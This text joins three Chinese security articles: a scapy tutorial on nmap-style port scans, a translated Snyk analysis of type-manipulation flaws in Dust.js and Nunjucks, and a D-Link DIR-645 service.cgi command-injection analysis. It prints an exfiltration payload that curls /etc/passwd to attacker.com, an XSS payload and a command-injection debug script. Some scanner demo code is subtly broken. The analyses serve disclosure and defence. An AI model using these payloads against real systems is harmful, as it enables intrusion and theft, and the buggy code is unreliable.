* P : PUSH – 推送; 数据包立即发送
* A : ACK – 应答
* U : URG – 紧急
* E : ECE – 显式拥塞提醒回应
* W : CWR – 拥塞窗口减少
## UDP
关于UDP的话就不多说拉，只需要知道它是一个无连接协议，因此也是一种不可靠的协议，因为你并不清楚你发的数据是否到达目标。
## TCP SYN SCAN
对应于nmap中的-sS。
关于SYN前面稍稍提了一下，那么下面对此细节进行展开。
SYN扫描也称为半连接扫描，那么说到这里顺嘴提一下SYN
FLOOD，它是利用了TCP协议的缺陷，在客户端伪造源地址发送SYN给服务端时，服务端会响应该SYN并且发送SYN跟ACK包，但因为客户端地址是伪造的，真实请求的客户端不认为该包是其发送的，因此不再响应从服务端从发送来的包，服务端收不到响应会进行重试3-5次并且等待一个SYN
Time（一般30秒-2分钟）后，丢弃这个连接，这一过程会消耗服务端的资源，
而当大量伪造源地址的TCP请求使用此种方式去向服务端发送SYN包时，服务端会因为资源的大量消耗导致请求缓慢，此时用户无法正常使用服务。
回到端扫，项目采用的是scapy，那么用它来发送一个SYN包应该怎么做？
找到其文档会发现它已经直截了当地给出了答案：
sr1(IP(dst="101.132.132.179")/TCP(dport=80,flags="S"))
这里flag=”S”也就是将标志位置为SYN，说明此时发送的是SYN，而收到的内容：
Begin emission:
Finished sending 1 packets.
...*
Received 4 packets, got 1 answers, remaining 0 packets
<IP version=4 ihl=5 tos=0x4 len=44 id=0 flags=DF frag=0 ttl=48 proto=tcp chksum=0x743c src=101.132.132.179 dst=192.168.43.172 |<TCP sport=http dport=ftp_data seq=1048042036 ack=1 dataofs=6 reserved=0 flags=SA window=29200 chksum=0x36f7 urgptr=0 options=[('MSS', 1318)] |>>
发现flags=SA，即SYN+ACK，那么如何判断端口是否开放？
文档中给出的方法是判断响应包是否具有SA标识，有则默认端口开放，但是对于我们来说仅仅到这一步并不太满意，会发现nmap文档中早已给出答案：
> 它发送一个SYN报文， 就像您真的要打开一个连接，然后等待响应。 SYN/ACK表示端口在监听 (开放)，而 RST
> (复位)表示没有监听者。如果数次重发后仍没响应， 该端口就被标记为被过滤。如果收到ICMP不可到达错误
> (类型3，代码1，2，3，9，10，或者13)，该端口也被标记为被过滤。
概括一下可以分成三种状态，open，closed，filtered，而我们很容易冲描述中判断出对应的行为应该给与什么样的状态：
行为 | 状态
---|---
数次重发未响应 | filtered
收到ICMP不可达错误 | filtered
SYN/ACK | open
RST | closed
对于判断响应是否具有TCP层 or ICMP层，scapy中也贴心的给出了相应的函数(getlayer和haslayer)，而在收到SYN-ACK报文后要做的是发送RST报文中断连接而非传统TCP连接中的ACK报文，而当收到RA时表示端口关闭。
这里的RA也可以用16进制表示为0x14，其算法为：
URG=0，ACK=1，PSH=0，RST=1、SYN=0、FIN=0
010100=0x14
一个demo：
def tcp_syn_scan(host,port):
send = sr1(IP(dst=host) / TCP(dport=port, flags="S"),retry=-2, timeout=2, verbose=0)
if (send is None):
# filtered
pass
elif send.haslayer(TCP):
if send.getlayer(TCP).flags == 0x12:#SA
sr1(IP(dst=host) / TCP(dport=port, flags="R"), timeout=2, verbose=0)
print("[+] %s %d Open" % (host, port))
elif send.getlayer(TCP).flags == 0x14: #RA
# closed
pass
elif send.haslayer(ICMP):
if send.getlayer(TCP).type == 3 and send.getlayer(TCP).code in [1, 2, 3, 9, 10, 13]:
# filtered
pass
## TCP CONNECT SCAN
对应于nmap中的-sT。
相对于SYN的半连接扫描，TCP CONNECT
SCAN又称为全连接扫描，顾名思义这种扫描方式需要与目标建立完整的TCP连接，前面讲SYN扫描时说到了最后发送的是一个RST报文，其是为了躲避防火墙的检测，而在全连接扫描中则会留下记录，全连接扫描可以说是SYN扫描的下位选择，因为他们得到的信息相同，只有在SYN扫描不可用的情况下才会选择全连接扫描。
那么如果端口不开放，服务端同样返回的是一个RST报文，同样的RA。
因为基本上与SYN扫描类似，区别就是需要建立完整的TCP连接，只需改动一行，将R改成AR：
sr1(IP(dst=host) / TCP(dport=port, flags="AR"), timeout=2, verbose=0)
## TCP Null，FIN，and Xmas扫描
nmap中将这三类扫描置为一类，看看文档中对于这一类扫描的描述：
> 如果扫描系统遵循该RFC，当端口关闭时，任何不包含SYN，RST，或者ACK位的报文会导致
> 一个RST返回，而当端口开放时，应该没有任何响应。只要不包含SYN，RST，或者ACK， 任何其它三种(FIN，PSH，and URG)的组合都行
因为三类扫描实际上原理相似，因此只着重讲一个。
首先看到nmap中对于这三类扫描的flags值：
case XMAS_SCAN: pspec->pd.tcp.flags = TH_FIN|TH_URG|TH_PUSH; break;
case NULL_SCAN: pspec->pd.tcp.flags = 0; break;
case FIN_SCAN: pspec->pd.tcp.flags = TH_FIN; break;
并且它们的回显置为了无回显：
noresp_open_scan = true;
很明显这三种扫描在行为上是一致的，当扫描到端口关闭时服务端会给出一个RST，而当端口开放时会得到一个未响应的结果（因为不设置SYN，RST，或者ACK位的报文发送到开放端口时服务端会丢弃该报文），那么就有如下行为/状态表：
行为 | 状态
---|---
未响应 | Open/filtered
返回RST | Closed
ICMP不可达错误 | filtered
这种扫描我在扫描本地时准确率不低，但扫描服务器时因为服务器大部分端口都是filtered，且它没能识别出来是open还是filtered，当然了其优点是比SYN扫描更为隐蔽，且能够躲过一些无状态防火墙和报文过滤路由器。
### TCP Null
对应于nmap中的-sN。
Null扫描，不设置任何标志位(tcp标志头是0)，那么做个测试，将flags位置空看看会得到什么结果？
当尝试扫描一个开放的端口时，会没有响应；当将该端口关闭后再次扫描，会得到如下结果：
###[ TCP ]###
sport = opsession_prxy
dport = ftp_data
seq = 0
ack = 0
dataofs = 5
reserved = 0
flags = RA
window = 0
chksum = 0xfe1c
urgptr = 0
options = []
demo:
def tcp_null_scan(host,port):
send = sr1(IP(dst=host) / TCP(dport=port, flags=0x00), timeout=10, verbose=0)
if (send is None):
print("[+] %s %d \033[92m Open/Filtered \033[0m" % (host, port))
elif send.haslayer(TCP):
if send.getlayer(TCP).flags == 0x14:
# closed
pass
elif send.haslayer(ICMP):
if send.getlayer(TCP).type == 3 and send.getlayer(TCP).code in [1, 2, 3, 9, 10, 13]:
# filtered
pass
### FIN SCAN
对应于nmap中的-sF。
与null的差异就是只设置TCP FIN标志位。
其实与null无甚差异，因此扫描代码也只需要将flags位置为F:
sr1(IP(dst=host)/TCP(dport=port,flags="F"),timeout=10,verbose=0)
### Xmans SCAN
对应于nmap中的-sX。
根据nmap源码中给出也就是设置FIN\URG\PUSH三个标志位，其余遵循先前的行为状态规则。
sr1(IP(dst=host)/TCP(dport=port,flags="FUP"),timeout=10,verbose=0)
## TCP ACK SCAN
对应于nmap中的-sA。
这种扫描技术无法确定端口的开放性，因为它做的就是发送一个ACK报文，但服务端在收到该报文时，无论端口是否开放(open/closed)，只要未被过滤，都会返回一个RST报文，将它们认为是unfiltered，而当扫描一个端口未得到响应时则认为是filtered，同样的ICMP不可达也认为是filtered。
咋一看貌似无法用于确定端口的状态，也确实如此，这种扫描技术实际上是用于发现防火墙的规则，确定它们是有状态的还是无状态的，并且得到filtered的端口。
其行为状态表如下：
行为 | 状态
---|---
收到RST报文 | unfiltered(open/closed)
未响应 | filtered
ICMP不可达 | filtered
只设置ACK标志位即可。
demo:
def tcp_ack_scan(host,port):
send = sr1(IP(dst=host) / TCP(dport=port, flags="A"), timeout=10, verbose=0)
if (send is None):
# filtered
pass
elif send.haslayer(TCP):
if send.getlayer(TCP).flags == 0x04:
print("[+] %s %d \033[92m Unfiltered \033[0m" % (host, port))
elif send.haslayer(ICMP):
if send.getlayer(TCP).type == 3 and send.getlayer(TCP).code in [1, 2, 3, 9, 10, 13]:
# filtered
pass
## TCP WINDOW SCAN
对应于nmap中的-sW。
同上一条的ACK扫描一般，窗口扫描也是发送一个ACK报文，但它能够区别出端口的开放(open/closed)；现在尝试发送一个ACK报文到目标开放端口，查看一下返回内容：
###[ TCP ]###
sport = http
dport = ftp_data
seq = 2170377956
ack = 1
dataofs = 6
reserved = 0
flags = SA
window = 29200
chksum = 0x7761
urgptr = 0
options = [('MSS', 1318)]
有一个名为window的字段，这在前面是被忽略的一个字段，现在再次发送ACK报文到目标关闭的端口，会发现该值为0，因此窗口扫描技术是可以根据window值是正值
or 0来判断目标端口是open还是closed。
当然在大部分情况因为系统不支持的原因，得到的只是一个无响应或者是window值为0，从而令所有端口为filtered或者closed；例如用nmap去扫描的话得到的结果是所有端口都为filtered，而我本地发送报文到本地开放端口往往得到的也是一个window为0的结果，并且nmap文档中也提到了该扫描偶尔会得到一个相反的结果，如扫描1000个端口仅有3个端口关闭，此时这3个端口可能才是开放的端口。
其行为/状态表如下:
行为 | 状态
---|---
window>0 | open
window=0 | closed
未响应 | Filtered
ICMP不可达 | filtered
demo:
def tcp_window_scan(host,port):
send = sr1(IP(dst=host) / TCP(dport=port, flags="A"), timeout=2, verbose=0)
if type(send) == None:
# filtered
pass
elif send.haslayout(TCP):
if send.getlayer(TCP).window > 0:
print("[+] %s %d \033[92m Open \033[0m" % (host, port))
elif send.getlayer(TCP).window == 0:
# closed
elif send.haslayer(ICMP):
if send.getlayer(TCP).type == 3 and send.getlayer(TCP).code in [1, 2, 3, 9, 10, 13]:
# filtered
pass
## TCP Maimon SCAN
对应于nmap中的-sM。
该扫描技术本人没使用过，也是看nmap文档才了解到，首先该扫描技术与前面提到的Null，FIN，Xmas扫描一般，可以看到nmap中也是将它与这三种扫描技术归到同一类：
case FIN_SCAN:
case XMAS_SCAN:
case MAIMON_SCAN:
case NULL_SCAN:
noresp_open_scan = true;
然而nmap中给它设置的标志位是TH_FIN|TH_ACK，而据文档所述，在RFC 793
(TCP)标准下无论端口开放还是关闭都应该响应RST给这样的探测，然而在许多基于BSD的系统中，如果端口开放，它只是丢弃该探测报文而非响应。
那么其行为/状态表与前面提到的Null等三项扫描技术一致。
send = sr1(IP(dst=host) / TCP(dport=port, flags="AF"), timeout=2, verbose=0)
## UDP SCAN
对应于nmap中的-sU。
显然UDP扫描相较于TCP扫描而言使用的较少，就我个人来说我也不习惯去扫描UDP端口，而例如常见的DNS，SNMP，和DHCP
(注册的端口是53，161/162，和67/68)同样也是一些不可忽略的端口，在某些情况下会有些用处。
同样的在nmap文档中给出了说明：
> UDP扫描发送空的(没有数据)UDP报头到每个目标端口。 如果返回ICMP端口不可到达错误(类型3，代码3)， 该端口是`closed`(关闭的)。
> 其它ICMP不可到达错误(类型3， 代码1，2，9，10，或者13)表明该端口是`filtered`(被过滤的)。
> 偶尔地，某服务会响应一个UDP报文，证明该端口是`open`(开放的)。 如果几次重试后还没有响应，该端口就被认为是
> `open|filtered`(开放|被过滤的)。 这意味着该端口可能是开放的，也可能包过滤器正在封锁通信。
那么整理一下大概是如下：
行为 | 状态
---|---
ICMP端口不可到达错误(类型3，代码3) | closed
ICMP不可到达错误(类型3， 代码1，2，9，10，或者13) | filtered
响应 | open
重试未响应 | open\ | filtered
那么UDP不受欢迎的原因一个在于目前主流的服务大部分基于TCP，而其次便在于UDP扫描的特殊性，在一次扫描过后通常无法得到一个正确的响应，偶尔某服务会返回一个UDP报文说明该端口开放，因此需要进行多次探测；对于ICMP不可到达错误，需要知道的是一般主机在默认情况下限制ICMP端口不可到达消息，如一秒限制发送一条不可达消息。
可以看一下分别对本机的53端口跟一个不存在UDP服务的端口发送UDP报文查看它们的区别。
Open:
###[ UDP ]###
sport = domain
dport = domain
len = 8
chksum = 0x172
closed:
###[ ICMP ]###
type = dest-unreach
code = port-unreachable
chksum = 0xfc44
reserved = 0
length = 0
nexthopmtu= 0
###[ UDP in ICMP ]###
sport = domain
dport = ntp
len = 8
chksum = 0x0
一如TCP扫描一般，ICMP可以用getlayer(ICMP).type和code来获取到它们对应的状态，那么同样给出一个demo:
def udp_scan(host,port):
send = sr1(IP(dst=host) / UDP(dport=port), retry=-2, timeout=2, verbose=0)
if (send is None):
# filtered
pass
elif send.haslayer(ICMP):
if send.getlayer(ICMP).type == 3:
if send.getlayer(ICMP).code in [1, 2, 9, 10, 13]:
# filtered
pass
elif send.getlayer(ICMP).code == 3:
# closed
pass
elif send.haslayer(UDP):
print("[+] %s U%d \033[92m Open \033[0m" % (host, port))
## IP SCAN
对应于nmap中的-sO。
严格来说这并不是端口扫描，IP SCAN所得到的结果是目标机器支持的IP协议 (TCP，ICMP，IGMP，等等)。
协议扫描扫的不是端口，它是在IP协议域的8位上循环，仅发送IP报文，而不是前面使用到的TCP or
UDP报文，同时报文头(除了流行的TCP、ICMP、UDP协议外)会是空的，根据nmap中说的是如果得到对应协议的响应则将该协议标记为open，
ICMP协议不可到达 错误(类型 3，代号 2) 导致协议被标记为 `closed`。其它ICMP不可到达协议(类型 3，代号 1，3，9，10，或者13)
导致协议被标记为 `filtered` (虽然同时他们证明ICMP是 `open` )。如果重试之后仍没有收到响应，
该协议就被标记为open|filtered。
scapy中可以简单的使用IP来发送默认的256个协议。
ans,unans = sr(IP(dst=host,proto=(0,255))/"SCAPY")
ans.show()
//0000 127.0.0.1 > 127.0.0.1 ip / Raw ==> 127.0.0.1 > 127.0.0.1 ip / Raw
## 版本探测
对应于nmap的-sV。
同协议探测，版本探测严格来讲不在端口扫描的范围内，但却也互相关联，尽管在探测到常见的80端口，3306端口等等会第一时间辨认出运行在其上的服务，然而有些人的想法是难以猜透的，在10086端口放个web服务也不是不可能的，总会有奇奇怪怪的人在一些奇奇怪怪的端口运行着一些常见的服务。
在扫描到开放的端口后，版本探测所做的就是识别出这些端口对应的服务，在nmap中的nmap-service-probes文件中存放着不同服务的探测报文和解析识别响应的匹配表达式，例如使用nmap进行版本探测，会得到如下结果：
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.0 (Ubuntu)
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
对于版本探测的实现相对简单的方式就是通过无阻塞套接字和探查，然后对响应进行匹配以期得到一个正确的探测结果，在使用nmap探测一个nc监听的端口时会发现收到了一个`GET
/ HTTP/1.0`。
那么同样可以使用python的socket发送它来得到服务响应。
ip = "ip"
port = 80
PROBE = 'GET / HTTP/1.0\r\n\r\n'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
result = sock.connect_ex((ip, port))
if result == 0:
try:
sock.sendall(PROBE.encode())
response = sock.recv(256)
if response:
print(response)
except ConnectionResetError:
pass
else:
pass
sock.close()
//b'HTTP/1.1 200 OK\r\nServer: nginx/1.14.0 (Ubuntu)\r\nDate: Mon
只需要一个合理的正则便够匹配出正确的服务和版本信息。
## Reference
<https://xz.aliyun.com/t/5376#toc-24>
<https://nmap.org/man/zh/>
<https://www.osgeo.cn/scapy/>
<https://www.imooc.com/article/286803> | 社区文章 |
# 【技术分享】如何利用类型篡改漏洞从模板沙盒中逃逸
|
##### 译文声明
本文是翻译文章，文章来源：snyk.io
原文地址：<https://snyk.io/blog/type-manipulation/>
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
解释型语言（如JavaScript和Ruby等）的一个关键要素是使用动态类型，也就是说变量类型可以在运行时动态确定和更新。虽然动态类型也有缺点，但它可以使软件更加灵活，研发更为快速。不幸的是，动态类型语言容易遭受类型篡改（Type
Manipulation）漏洞影响，攻击者可以通过篡改给定变量的类型来实施攻击行为。
本文是类型篡改漏洞的第一篇文章，这一系列文章以现实世界的攻击事件为例，分析了类型篡改可以引发的漏洞利用方式，解释了相应的防御方法。使用真实案例可以让读者了解到所使用的软件包中是否存在这些漏洞，也可以帮助读者从中学习经验，避免自己代码中存在类似错误。
本文中我们将重点关注如何利用类型篡改漏洞从模板沙盒中逃逸。这些模板中通常存在一些内置的保护机制，在本文中，我们可以看到这类保护机制并非十全十美。我们的分析案例以LinkedIn的Dust.js以及Mozilla的Nunjucks模板框架为主，捎带提及了Angula。
**二、LinkedIn Dust.js远程命令执行漏洞分析**
本文重点分析的是Dust.js模板框架中存在的漏洞。[Dust.js](http://www.dustjs.com/)是一个流行的模板框架，由LinkedIn发布和使用。PayPal也使用了Dust.js框架，正是在PayPal上，[研究人员](https://artsploit.blogspot.co.il/2016/08/pprce2.html)发现了类型篡改漏洞可以导致[远程命令执行](https://snyk.io/vuln/npm:dustjs-linkedin:20160819)。
漏洞最早于2015年1月9日披露，在[2.6.0版本](https://github.com/linkedin/dustjs/pull/534/commits/884be3bb3a34a843e6fb411100088e9b02326bd4)得到修复，漏洞细节于2016年9月14公布。如果你正在使用Dust.js，请[确保在用版本不受此漏洞影响](https://snyk.io/add)。
Dust.js存在以下两类问题。
**（一）显示依赖于变量类型**
与大多数模板库一样，Dust.js在模板中支持条件判断语句，如下代码根据device参数的值来判断如何渲染HTML页面：
{@if cond="'{device}' == 'desktop'"}
<div>Desktop version</div>
{:else}
<div>Mobile Version</div>
{/if}
Dust.js稍后会使用eval()函数来判断这些条件语句的真假，这也是模板支持复杂条件所使用的一种简单方法。以下是Dust.js中if函数的一段代码，其中用户提供的params变量与开发人员提供的静态con变量结合在一起，生成最终需要判断的条件语句：
"if": function( chunk, context, bodies, params ){
...
var cond = params.cond;
cond = dust.helpers.tap(cond, chunk, context);
// eval expressions with given dust references
if(eval(cond)){
...
}
}
由于条件语句中可能包含用户输入（比如device参数），Dust.js使用sanitisation函数来避免以代码形式执行恶意参数值。以下是sanitisation函数的代码片段：
dust.escapeHtml = function(s) {
if (typeof s === 'string') {
if (!HCHARS.test(s)) {
return s;
}
return s.replace(AMP,'&').replace(...) // more char replacements
}
return s;
}
这段代码非常简洁、完整，能够拦截当前已知的可以破坏字符串引用的所有特殊字符。另外，读者还可以在代码中看到HCHARS.test(s)函数仅用于处理字符串，避免在处理未定义值时出现错误。
虽然这段代码可以避免一些错误情况，但它却无法阻止类型篡改攻击。如果攻击者成功将s强制转化为数组（或任意非字符串类型）对象，整个检查过程就会被完全绕过。在随后的代码中，当条件语句传递给eval函数时，数组对象会被显示转化为字符串对象，最终导致远程JavaScript代码执行。
**（二）字符串可以转为数组**
攻击者的下一步骤是尝试篡改变量类型。对于API驱动的应用而言，攻击者可以通过修改JSON载荷来尝试篡改变量类型，正如之前[Mongoose的Buffer漏洞](https://snyk.io/vuln/npm:mongoose:20160116)一样。然而，由于Dust.js是一个Web模板平台，我们会专注于如何通过qs包来篡改变量类型。
[qs包](https://www.npmjs.com/package/qs)是解析查询字符串时最常用的一个JavaScript包，也是express、request和其他流行包中默认使用的包。qs能够将查询字符串转化为JavaScript对象，以便程序处理。以下是qs的常见用法：
qs.parse('a'); // {a : ''}
qs.parse('a=foo'); // {a : 'foo'}
qs.parse('a=foo&b=bar');// {a : 'foo', b: 'bar'}
qs.parse('a=foo&a=bar');// {a : ['foo', 'bar']}
qs.parse('a[]=foo'); // {a : ['foo']}
你可能会注意到，qs通过查询字符串中对象的创建方式来判断对象类型。如果同一个对象名多次出现，它就会被当成数组对象。类似地，如果一个变量显示声明为数组型变量，那么在解析该变量时Dust.js将按照数组类型进行处理。
这里距离触发Dust.js漏洞已经很近了。PayPal使用了上文分析的存在漏洞的模板，攻击者需要做的仅仅是提供device参数两次，或者以“device[]=value”形式提供参数，这样变量就会按数组方式进行参数传递，最终绕过净化函数的处理逻辑。
**（三）Dust.js漏洞后续利用**
这一部分与类型篡改主题有一定关系，但主要内容是分析攻击者如何具体利用此类漏洞。
首先，攻击者需要获得代码运行机会。这个目标可以通过一个攻击URL来实现，如下所示：
攻击所用的URL: https://host/page?device=x&device=y'-console.log('gotcha')+'
调用eval执行: eval("'xy'-console.log('gotcha')+'' == 'desktop'");
控制台日志消息对攻击者来说用处不大，因此攻击者需要使用其他更为巧妙的方法，比如将某些信息从内部往外部发送。在PayPal漏洞中，研究人员使用了如下载荷传递信息：
http://host/page?device=x&device=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+attacker.com')-'
等价的eval语句如下所示：
eval("'xy'-require('child_process').exec('curl -F "x=`cat /etc/passwd`" attacker.com')-'' == 'desktop'");
以上漏洞利用方式使用的是child_process模块来执行本地curl命令，将“/etc/passwd”文件发送给攻击者。使用原生的Node命令也可以完成相同任务，但所需的载荷稍长。使用child_process模块可以将漏洞范围从远程JS代码执行延伸至远程shell命令执行，拓宽攻击者可选项。
**（四）修复措施**
大多数类型篡改漏洞（Dust.js的这个也不例外）可以通过禁用（disallowing）、规范化（normalizing）或自定义处理（custom
handling）变量类型加以修复。这三种措施可以相互结合，建立多层防御机制。
禁用变量类型意味着只有特定变量类型受模板支持。此例中，Dust.js可以选择在模板中禁用非字符串类型参数，这种处理方式将导致模板框架功能减少，因此需根据框架的具体使用方式来确定是否使用该方法。
规范化变量类型意味着各种输入类型将会转换为一种类型。本例中，Dust.js将有问题的变量传递给eval()函数时，这些变量会被隐式转化为字符串变量。与其在向eval()传递参数时对变量类型进行转化，Dust.js可以在上游函数中将传入的数组、整数或其他变量转化为字符串，然后在后续代码中（如sanitisation函数）进行处理。
自定义处理变量意味着需要对所有支持的类型编写特定的处理方式。本例中，Dust.js早就可以确定变量为数组类型，可以对数组中的每个字符串进行规范化处理，同时它也可以对多个数组的组合进行处理。自定义处理方法是三种方法中最为脆弱的，但同时也能够处理更加复杂的输入。
Dust.js选择了自定义处理方法，可以拦截toString属性为函数的所有对象。这种处理方法的确解决了这个问题，但也在代码中留下了一定的脆弱点，因为下游代码可能会选择以不同的方式将数组对象转化为用户输出。以下是[Dust.js补丁](https://github.com/linkedin/dustjs/commit/e179c8ff600e0ee73be13ee9ded904321fcbcfc0#diff-86d996c4ed91a5bbfce2bb7461033118R850)中的相关代码片段：
dust.escapeHtml = function(s) {
if (typeof s === "string" || (s && typeof s.toString === "function")) {
if (typeof s !== "string") {
s = s.toString();
}
if (!HCHARS.test(s)) {
return s;
}
}
};
如果你正在使用存在漏洞的Dust.js版本，同时因为各种原因无法升级，那么你可以选择在代码中对传递给Dust.js的输入类型规范化处理，或者禁用非字符串类型参数、阻止恶意数组。你可以通过Snyk的[命令行接口](https://snyk.io/docs/using-snyk)或[GitHub集成接口](https://snyk.io/add)测试所使用的Dust.js版本是否存在漏洞。
**三、Mozilla Nunjucks XSS漏洞分析**
Dust.js的漏洞不是独一无二的，我们在其他地方也可以见到类似[漏洞](https://snyk.io/vuln/npm:nunjucks:20160906)。Mozilla的Nunjuck库中的存在类似漏洞，漏洞最早于2016年9月6日由[Matt
Austin](https://github.com/matt-)发现，在[2.4.3版本](https://github.com/mozilla/nunjucks/pull/836)中得到修复，[漏洞细节](https://github.com/mozilla/nunjucks/pull/836)于2016年9月9日公布。与Dust.js类似，你可以使用[Snyk](https://snyk.io/add)来测试所使用的Nunjucks版本是否存在漏洞。
与handlebars、mustache以及其他库类似，Nunjucks允许用户在两个大括号(“) 中指定变量名称，该名称应为HTML编码格式。如下所示：
nunjucks.renderString(
'Hello ',
{username: '<script>alert(1)</script>' });
// Outputs: Hello <script>alert(1)<script>
然而，与Dust.js类似，Nunjuck的sanitisation函数只能对字符串进行转义处理。以下是Nunjuck
sanitisation函数代码片段：
escape: function(str) {
if(typeof str === 'string') {
return r.markSafe(lib.escape(str));
}
return str;
}
与前文的处理逻辑类似，如下的一个URL（由qs解析）：
http://host/?name[]=<script>alert(1)</script>matt
会导致代码执行，生成XSS输出，如下所示：
nunjucks.renderString(
'Hello ',
{username: ['<script>alert(1)</script>matt'] });
// Outputs: <script>alert(1)</script>matt
Nunjucks存在的漏洞原因与Dust.js一致，都是忽视了攻击者可以篡改变量类型。攻击者可以借此绕过sanitisation函数处理流程，注入恶意代码。
Nunjucks可以采用与Dust.js类似的防御措施，如禁用数组输入、规范化变量为字符串类型或使用自定义处理方式解析数组变量。Mozilla在[补丁](https://github.com/mozilla/nunjucks/pull/836/commits/cf037c302a380f97110b027f47d4a13a3c80b8a2)中选择使用toString方法对输入数组进行统一处理。
**四、总结**
类型篡改是一种名气较小的攻击方法，但的确可以对所有动态类型语言造成危害。在动态类型语言中，我们需要认真考虑输入类型，在每种类型上使用白名单、规范化或自定义处理方式。
本文中，我们了解了如何利用类型篡改漏洞从模板沙盒框架中逃逸，许多框架都存在该问题。不控制运行时的沙盒化技术是非常困难的，这也是[Angular完全抛弃沙盒](https://docs.angularjs.org/guide/security#sandbox-removal)的原因所在。 | 社区文章 |
上篇文章分析了信息泄露漏洞，可以获取到密码等信息。此次主要是基于上篇文章的认证，分析该系列设备的认证后的命令执行执行漏洞，该漏洞形成的原因是由于service.cgi在处理HTTP
POST请求中的数据不当，形成命令拼接，导致可执行任意命令。
## 漏洞描述
该漏洞编号为[CNVD-2018-01084](https://www.cnvd.org.cn/flaw/show/CNVD-2018-01084)，受影响的型号包括D-Link DIR 615、D-Link DIR 645 、D-Link DIR
815，受影响的固件版本为1.03及之前。该漏洞是由于service.cgi中拼接了HTTP POST请求中的数据，造成后台命令拼接，导致可执行任意命令。
## 漏洞分析
此次的分析仍然是基于dir-645，去官网下载1.03的固件，下载1.04的固件
根据公开的[exp](https://packetstormsecurity.com/files/145859/dlinkroutersservice-exec.txt)中的信息，关键poc如下：
post_content = "EVENT=CHECKFW%26" + command + "%26"
...
URL + "/service.cgi"
关键信息为`EVENT`参数以及`service.cgi`页面，上篇文章中我们已经知道处理cgi的程序为`cgibin`，因此主要分析`cgibin`，看它是如何处理post过去的参数的。
`binwalk -Me dir.bin`提取固件，cgibin的文件路径为`htdocs/cgibin`。
### 静态分析
将cgibin拖入到IDA与ghidra中进行分析。
iVar1 = strcmp(argv0,"service.cgi");
if (iVar1 == 0) {
UNRECOVERED_JUMPTABLE = servicecgi_main;
}
可以看到`service.cgi`对应的处理函数为`servicecgi_main`，跟进去该函数，关键代码如下：
memset(acStack280,0,0x100);
request_method_ptr = getenv("REQUEST_METHOD");
if (request_method_ptr == (char *)0x0) {
__format = "No HTTP request";
goto LAB_0040cf48;
}
iVar4 = strcasecmp(request_method_ptr,"POST");
if (iVar4 == 0) {
uVar3 = 0x400;
LAB_0040ced0:
iVar4 = cgibin_parse_request(FUN_0040d1cc,(astruct *)0x0,uVar3);
if (iVar4 < 0) {
__format = "Unable to parse HTTP request";
}
else {
iVar4 = sess_ispoweruser();
if (iVar4 != 0) {
iVar2 = get_para("EVENT");
request_method_ptr = (char *)get_para("ACTION");
iVar4 = get_para("SERVICE");
if (iVar2 == 0) {
if ((iVar4 != 0) && (request_method_ptr != (char *)0x0)) {
iVar2 = strcasecmp(request_method_ptr,"START");
if (iVar2 == 0) {
__format = "service %s start > /dev/null";
}
else {
iVar2 = strcasecmp(request_method_ptr,"STOP");
if (iVar2 == 0) {
__format = "service %s stop > /dev/null";
}
else {
iVar2 = strcasecmp(request_method_ptr,"RESTART");
if (iVar2 != 0) {
__format = "Unknown action - \'%s\'";
goto LAB_0040cf00;
}
__format = "service %s restart > /dev/null";
}
}
goto LAB_0040d038;
}
}
else {
__format = "event %s > /dev/null";
iVar4 = iVar2;
LAB_0040d038:
lxmldbc_system(__format,iVar4);
}
首先判断`REQUEST_METHOD`，如果是POST的话则调用`cgibin_parse_request`去解析post参数，该函数也在上篇大致分析过，将参数解析并存入到内存当中，需要提下的是该函数里面对`CONTENG_TYPE`进行判断并调用相应函数去处理，`application/x-www-form-urlencoded`对应的`type`会将参数进行url解码并存储。接着调用`sess_ispoweruser`函数判断传过来的cookie是否是有效cookie，如果有效的话则进去到参数获取阶段，由于可以通过信息泄露漏洞获取密码，所以也可以拿到有效的cookie。
参数获取阶段主要是去获取三个参数`EVENT`、`ACTION`以及`SERVICE`的值，`get_para`的返回值是相应的参数值，不存在该参数时返回0。最后如果是`EVENT`参数存在则调用`lxmldbc_system`，函数代码如下：
void lxmldbc_system(char *format,char *para0,char *para1,char *para2)
{
char *local_res4;
char *local_res8;
char *local_resc;
char acStack1036 [1028];
local_res4 = para0;
local_res8 = para1;
local_resc = para2;
vsnprintf(acStack1036,0x400,format,&local_res4);
system(acStack1036);
return;
}
结合调用部分，可以函数使用`vsnprintf`函数将`EVENT`参数与格式化字符串`event %s >
/dev/null`构成命令后直接调用`system`去执行。由于对参数没有过滤且可控，所以形成了命令注入漏洞。
除了`EVENT`参数外，也可以使用`ACTION`以及`SERVICE`的组合进行命令注入。`ACTION`如果为`START`、`RESTART`以及`STOP`则会将`SERVICE`的参数构成命令`service
%s start > /dev/null`、`service %s restart > /dev/null`以及`service %s stop >
/dev/null`，也可以通过`SERVICE`参数形成命令注入漏洞。
### 动态调试
接下来进行动态调试进行验证，用命令`sudo ./cgi_run_service.sh`启动，脚本内容如下：
#!/bin/bash
# sudo ./cgi_run.sh
INPUT=`python -c "print 'EVENT=;ifconfig%26'"`
LEN=$(echo $INPUT | wc -c)
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nusage: sudo $0\n"
exit 1
fi
cp $(which qemu-mipsel-static) ./qemu
echo "$INPUT" | chroot . ./qemu -0 "/service.cgi" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/service.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT ./htdocs/cgibin "/service.cgi" "/service.cgi" #2>/dev/null
echo "run ok"
rm -f ./qemu
由于只是调试单个脚本，所以无法拿到有效的cookie，在这里的做法是断点断在`0x40CF34`，即判断cookie是否有效的处，并将其手动修改成1，便可以继续往下执行，执行到`lxmldbc_system`处。
.text:0040CF20 loc_40CF20: # CODE XREF: servicecgi_main+E4↑j
.text:0040CF20 la $t9, sess_ispoweruser
.text:0040CF24 nop
.text:0040CF28 jalr $t9 ; sess_ispoweruser
.text:0040CF2C nop
.text:0040CF30 lw $gp, 0x130+var_120($sp)
